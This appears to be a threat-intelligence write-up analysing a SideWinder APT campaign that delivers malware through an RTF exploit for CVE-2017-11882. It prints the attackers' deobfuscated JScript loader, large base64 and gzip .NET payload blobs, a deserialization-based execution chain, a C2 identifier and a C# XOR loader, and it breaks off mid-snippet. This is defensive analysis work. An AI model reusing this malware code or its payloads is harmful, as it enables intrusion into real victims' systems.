CyberThreatIntel/Indian/APT/SideWinder/25-12-19/analysis.md

747 lines
348 KiB
Markdown
Raw Normal View History

2019-12-27 13:09:56 +00:00
# SideWinder same targets, same TTPs, time to counter-attack !
## Table of Contents
* [Malware analysis](#Malware-analysis)
* [Threat Intelligence](#Intel)
* [Cyber kill chain](#Cyber-kill-chain)
* [Indicators Of Compromise (IOC)](#IOC)
* [Yara Rules](#Yara)
* [References MITRE ATT&CK Matrix](#Ref-MITRE-ATTACK)
* [Knowledge Graph](#Knowledge)
* [Links](#Links)
+ [Original Tweet](#tweet)
+ [Link Anyrun](#Links-Anyrun)
+ [Ressources](#Ressources)
<h2>Malware analysis <a name="Malware-analysis"></a></h2>
2019-12-27 19:23:58 +00:00
<h6>The initial vector is an RTF file who use an well-know vulnerability (CVE-2017-11882) for execute a js script (1.a) form the package of OLE objects. </h6>
2019-12-27 13:09:56 +00:00
<p align="center">
2019-12-27 19:23:58 +00:00
<img src="https://raw.githubusercontent.com/StrangerealIntel/CyberThreatIntel/master/Indian/APT/SideWinder/25-12-19/Pictures/RTF_objects.PNG">
</p>
<p align="center">
<img src="https://raw.githubusercontent.com/StrangerealIntel/CyberThreatIntel/master/Indian/APT/SideWinder/25-12-19/Pictures/obj1.PNG">
</p>
<h6>We can observe on the code of the exploit that jump and rebuild the command to execute. </h6>
<p align="center">
<img src="https://raw.githubusercontent.com/StrangerealIntel/CyberThreatIntel/master/Indian/APT/SideWinder/25-12-19/Pictures/obj2.PNG">
</p>
<p align="center">
<img src="https://raw.githubusercontent.com/StrangerealIntel/CyberThreatIntel/master/Indian/APT/SideWinder/25-12-19/Pictures/exploit.png">
2019-12-27 13:09:56 +00:00
</p>
2019-12-27 19:23:58 +00:00
<h6>As first, we can observe that a series of functions are used for obfuscate the criticals parts of the script.</h6>
2019-12-27 20:06:15 +00:00
```javascript
var OaXQT = ActiveXObject;
var cRKGlc = String.fromCharCode;
function RDDb(str)
{
var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXY"+"Zabcdefghijklmnopqrstuvwxyz0123456789+/="
var b, result = "", r1, r2, i = 0;
for (; i < str.length;)
{
b = b64.indexOf(str.charAt(i++)) << 18 | b64.indexOf(str.charAt(i++)) << 12 |(r1 = b64.indexOf(str.charAt(i++))) << 6 | (r2 = b64.indexOf(str.charAt(i++)));
result += r1 === 64 ? cRKGlc(b >> 16 & 255) : r2 === 64 ? cRKGlc(b >> 16 & 255, b >> 8 & 255) : cRKGlc(b >> 16 & 255, b >> 8 & 255, b & 255);
}
return result;
};
function SJnEuQM (key, bytes)
{
var res = [];
for (var i = 0; i < bytes.length; ) {
for (var j = 0; j < key.length; j++) {
res.push(cRKGlc((bytes.charCodeAt(i)) ^ key.charCodeAt(j)));
i++;
if (i >= bytes.length) {j = key.length;}
}
}
return res.join("")
}
function EvpTXkLe(bsix){ return SJnEuQM(keeee,RDDb(bsix))}
var keeee = SJnEuQM("YjfT",RDDb("altWY2"+"hcV2xq"+"XA=="));
```
<h6>This series of functions perform the decryption of the base64 and xor by a constant encoded key (keeee), this can be merged on one single next function</h6>
```javascript
function EvpTXkLe(bytes)
{
var b,b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",result = "",r1,r2, i = 0,res = [],key ="3107161836";
for (; i < bytes.length;)
{
b = b64.indexOf(bytes.charAt(i++)) << 18 | b64.indexOf(bytes.charAt(i++)) << 12 |(r1 = b64.indexOf(bytes.charAt(i++))) << 6 | (r2 = b64.indexOf(bytes.charAt(i++)));
result += r1 === 64 ? String.fromCharCode(b >> 16) : r2 === 64 ? String.fromCharCode(b >> 16 & 255, b >> 8 & 255) : String.fromCharCode(b >> 16 & 255, b >> 8 & 255, b & 255);
}
for (var i = 0; i < result.length; ) {
for (var j = 0; j < key.length; j++) {
res.push(String.fromCharCode((result.charCodeAt(i)) ^ key.charCodeAt(j)));
i++;
if (i >= result.length) { j = key.length;}
}
}
return res.join("")
}
var data= EvpTXkLe("Data to decrypt")
console.log(data)
```
<h6>The first block inside the try/catch is for initialize theposition of the window outside the display and payload to inject in the process</h6>
```javascript
var mst = null;
var FSO = null;
window.resizeTo(1, 1);
window.moveTo(-1000, -1200);
var shells = new ActiveXObject("WScript.Shell");
var so = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkDAAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAHdGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAACQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0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
```
<h6>The next block is two functions one used for write the payload at inject and the second for check the version .NET on the system</h6>
2019-12-27 19:23:58 +00:00
```javascript
2019-12-27 20:06:15 +00:00
function write_payload(b)
{
var enc = new ActiveXObject("System.Text.ASCIIEncoding");
var length = enc.GetByteCount_2(b);
var ba = enc.GetBytes_4(b);
var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
ba = transform.TransformFinalBlock(ba, 0, length);
mst = new ActiveXObject("System.IO.MemoryStream");
mst.Write(ba, 0, (length / 4) * 3);
mst.Position = 0;
}
function check_NET_version()
{
var net = "",folder;
var folds = FSO.GetFolder(FSO.GetSpecialFolder(0)+"\Microsoft.NET\Framework\").SubFolders;
e = new Enumerator(folds);
e.moveFirst();
do
{
folder = e.item();
var files = folder.files;
var fileEnum = new Enumerator(files);
fileEnum.moveFirst();
while(fileEnum.atEnd() == false)
{
if(fileEnum.item().Name == "csc.exe")
{
if(folder.Name.substring(0,2) == "v2") {return "v2.0.50727"}
else if(folder.Name.substring(0,2) == "v4") { return "v4.0.30319"}
}
fileEnum["moveNext"]();
}
e["moveNext"]();
}while (e.atEnd() == false)
return folder.Name;
}
2019-12-27 19:23:58 +00:00
```
2019-12-27 23:00:17 +00:00
<h6>The last block contains the vulnerable legit software and a well-know loader used by Sidewinder, this run the correct version to use in .NET by an dynamicinvoke</h6>
```javascript
ver = "v2.0.50727";
try
{
FSO = new ActiveXObject("Scripting.FileSystemObject");
ver = check_NET_version();
}
catch(e) { ver = "v2.0.50727";}
shells.Environment("Process")("COMPLUS_Version'") = ver;;
write_payload(so);
var fmt = new ActiveXObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter");
var al = new ActiveXObject("System.Collections.ArrayList");
var d = fmt["Deserialize_2"](mst);
al.Add(undefined);
var o = d["DynamicInvoke"](al.ToArray())["CreateInstance"]("StInstaller.Program");
var x = "H4sIAAAAAAAAA+1XXWwcVxX+7nh/xmt7E9vUdYmdjMkPmx8WOzVNKtLi36Sb2rHldX4IKfZ4d2wPnZ3Zzswau4LIfWilPDRtpAraiAdeeKsqkBCESohKiJKH9gX1gUoo9AFeQIUCb0g0fPfO/thO1EY8BFXy2b3nnnPuueeec+7vTF58GU0AYiy3bwM3EMEQPh3WWdJ73kzjp83v9t0QE+/2zS7bgVH2vSXfLBkF03W90FiwDL/iGrZrjE3ljZJXtLJtbal9VRvT48CEiKF88+2nanY/gNbXInQgRUaPZN/MEBl1x3YqWov8Bho1fthgmjD0vFSV/0YdVTrtSJOtRFNSOA+8qt09yJ33kIs7wKi7rkAn/8QGPhtaqyHrol6NK7UxiLqJ+WxQNEMTWJQC+ixjRnqzHsVvZf3AL6Aaw3zV1s479IayvuV4hWrTetXe5+7QG7m3ILfhsw5DmaiWa1NDHDf6uC8S0bL4JIhlNq/vGnT2x2GzFkB7hgdLyuNCTGXiRD5lZWk7lUlKJDd4KnHV3mN8/UXSoiWxx0h2Ja/amWa2dLUe7krqL8mG/acS+h7jqWvm72b0By+06lQ5+qdkhjsmtU6bsUOfz3CQRK3Crv4mtV8YQ/tlqeC1yKG6Wg4PJZLXW3WvVXpzWHrTRurIAT3DHZVqa/Z2yIavssHj/kg1d73ICITXTvrA4VTywQstSfp79M1b6QO3WjIdMrpOoj8colZPFP/582iSnWT+Ll5EC/qw3tmv4XHI8wjtTcrtukNfuKtDuh7LcE+mDtWH/H3wAPlnd2uZLinnBs2fHhEyywT2xsrRbH/2K/3Hjh6Tkjgc4gyd2HsZeIV1WdL50LfdpUDNXzya871n85iIR+fB3lNnc2OsL5F/R/IjjrdQnVd2F+cf0NAsmX+Lh9Gl5hidUVyKTkR6sknVNXm0lpq0yNsEDvGwS2Ba4Qpc4qv4DvGv8Qvi95XkQ0XfVnRMSNyisCFkr6yix4TsVVT084q+TpzCr8TrIoFbSv4PYlT9kFjgOZJd2m6tTXGCke8nl1OrfwBHtDKmDal7rfsRLWT7bxT3PTymrZJ7p8rlFPdepIldQmoW+yT3ArnL5N6IuO7T9CLKxKwmc1HQmnGaXDtkSx++T4/78Dp24CBuMp8DvP8k/Wd041H8E7uRQ7vYR51d4svED4tHuMOmxA5qXhAn8AxcMYKH8F3xBEy8LCbxHH4k8riC34qLxO8zF1JnDq+pEa8pnOXSfIG4Ey/hDfwMbyG2vnUvL2ubz4EltGnAVpnbYE5MesWKYz2O/FoQWqXsTMUN7ZKVHfVKZdux/Lzlr9gFK0AkMEPbc2csx1xVVDAccn0uVEIL2ULo+ah2l8pUWLAdO1xr6ERjYGrhW1YhrI9oLTpkaQ3DQWCVFpw1nLLC8VWrUAm59uvCJSucm/AKauBa59wUps1wWXYYs31L+rB2xixxKLVvMOvbJen6gu1aOMmAMGOZxWHHGVkLGZTEGKksLlo+hn3fXAP3T+HpUa+8hgnPLGLUdJxRz10ZLVoFB7NrZSvyrez5oVWUfIBJumf5OXfRUy6q4b3y3PgzFVOGj2EGt2LK7Iz6lhlaOTcITbegLCmLk1a47BWVAYoiriocMQMLOXfFe7qWveyYbS65XhDahQDTvse5CWS30YrvW25YkzxpOw4mTT9YNhkrc1xNuhxQRja+WrDKKpNjZ/PjM9ki1UtBwfMde0Galc9BRGtDZYIJmjNrM5EtqMnOuXZ4yiwy6EDldsYul6lXdipLtlufNtPn8aUGkevt4Enc2w87puGDKSU2UQJa8ghJ+ZBvsEf/db37vf/88ckrP/no5odv/+WviBlC6E0G+C5FRzuJdAwinY5DS0sseuPpFOKi46DOv56A6GjvjccN9HYMUEdTOj0dAzEDFBii47F0wtB6enp7pL3xJDQ29vboP3/20rmHBj+40pTgIDwgeOwaXxJJqvbG2SyqF+xuoc6OrvO+WT7jufVkzy773rcDkUw2UT2uNydjHF/vGOjRKVHU1g2N2/v5uNu5kY9Jfii6+wczjZYztff2XWAos5GbG/X8MceZNG03mnTLUgugOp7xvz2ft+H+AM/yRFN0dde/wb4x1Li3Zeknf5xliOVvXwQ+ZhkjPVXV27BdN+7iS43DYBs+GyDUZu2Ovgw3yeU8999FLkG+Iy/M8/rf8DA4oQ0Sn0Mec8TjmCGV45f2GfI54pPRVzd+Gfv7xzU7G+Fr1Vp+xm79FhlTI59T5/dJvoUc8FrjO2SRJ7yEfarXrDrrXQRsN3nO22ytvVV+HPuBkDbkLeCzxeXNcKelVaXTX/8NYkHmAEfokajrj7EEKCg75U3jGCpn+gbdcyw+tRs6/XyDNQo4Ror60odQ6br03WG+5K1lqdjP0muZzyyKbFHvfOXPBNuXlPYorZexpjxawrK646QvJ5Ttqarcrtqu+eZ+4hiDKo7oFi3y1V6g1a3RbI3luOozTI2AmiVmz6FXxqf224b7CEb07ffRMRyfP/7/dmYb7jf8FwhqXLMAFgAA";
var y = "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
var m = o.Work;
```
<h6>Finally still execute the process with loader and the code to inject by process injection if throws an exception and close the window whatever the result</h6>
```javascript
try
{
try
{
[previous code described]
}
catch (e) {o["Work"](x,y,"202/KfzLXf6NisWqPtYOrrQYJfzErkCyS8ib8dz3QSsN/1115/2280/16331af8");}
finally{window.close();}
```
###### We can note that ``` 202/KfzLXf6NisWqPtYOrrQYJfzErkCyS8ib8dz3QSsN/1115/2280/16331af8 ``` show like an internal reference for the SideWinder group, this is used as identifier in the communications with the C2 for the data sent. The path of the origin directory is encoded in base 64.
<p align="center">
<img src="https://raw.githubusercontent.com/StrangerealIntel/CyberThreatIntel/master/Indian/APT/SideWinder/25-12-19/Pictures/comC2.PNG">
</p>
2019-12-28 00:26:56 +00:00
<h6>The first software is a legit wizard EFS REKEY of Microsoft know as rekeywiz.exe. This can do the certificates for the EFS, we can confirm it on the code of the software.</h6>
<p align="center">
<img src="https://raw.githubusercontent.com/StrangerealIntel/CyberThreatIntel/master/Indian/APT/SideWinder/25-12-19/Pictures/leg_cert_EFS_keys.png">
</p>
<p align="center">
<img src="https://raw.githubusercontent.com/StrangerealIntel/CyberThreatIntel/master/Indian/APT/SideWinder/25-12-19/Pictures/leg_load_EFS_keys.png">
</p>
2019-12-27 23:00:17 +00:00
<h6> On the dotnet loader, we can load an instance from the code extracted by the module. This module use an xor in a loop of the bytes for get the payload to execute. </h6>
```csharp
using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
namespace Module
{
// Token: 0x02000002 RID: 2
public static class Program
{
// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000450
static Program()
{
byte[] array = File.ReadAllBytes(Path.Combine(Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location), "bGy1elg.tmp ".Trim()));
byte[] array2 = new byte[array.Length - 32];
Buffer.BlockCopy(array, 32, array2, 0, array2.Length);
for (int i = 0; i < array2.Length; i++)
{
byte[] array3 = array2;
int num = i;
array3[num] ^= array[i % 32];
}
Program._assembly = Assembly.Load(array2);
}
// Token: 0x06000002 RID: 2 RVA: 0x000020C5 File Offset: 0x000004C5
public static void InitGadgets() { Program.Load(); }
// Token: 0x06000003 RID: 3 RVA: 0x000020CC File Offset: 0x000004CC
public static void FileRipper() { Program.Load(); }
2019-12-28 00:26:56 +00:00
// Token: 0x06000004 RID: 4 RVA: 0x000020D4 File Offset: 0x000004D4
private static void Load()
{
try
{
foreach (Type type in Program._assembly.GetExportedTypes())
2019-12-27 23:00:17 +00:00
{
2019-12-28 00:26:56 +00:00
if (type.Name == "Program")
{
object obj = Activator.CreateInstance(type);
obj.GetType().GetMethod("Start").Invoke(obj, new object[0]);
break;
}
2019-12-27 23:00:17 +00:00
}
2019-12-28 00:26:56 +00:00
}
catch {}
finally { Process.GetCurrentProcess().Kill(); }
}
// Token: 0x04000001 RID: 1
private static readonly Assembly _assembly;
2019-12-27 23:00:17 +00:00
}
}
```
2019-12-28 00:26:56 +00:00
<h6>We can use fire against fire and use Powershell for decrypt the payload and save it</h6>
2019-12-27 23:00:17 +00:00
```csharp
[byte[]] $array = [System.IO.File]::ReadAllBytes("path tmp file")
# note: this in powershell 5.1 -> CreateInstance else new-object byte[] length for get an empty table of zeros
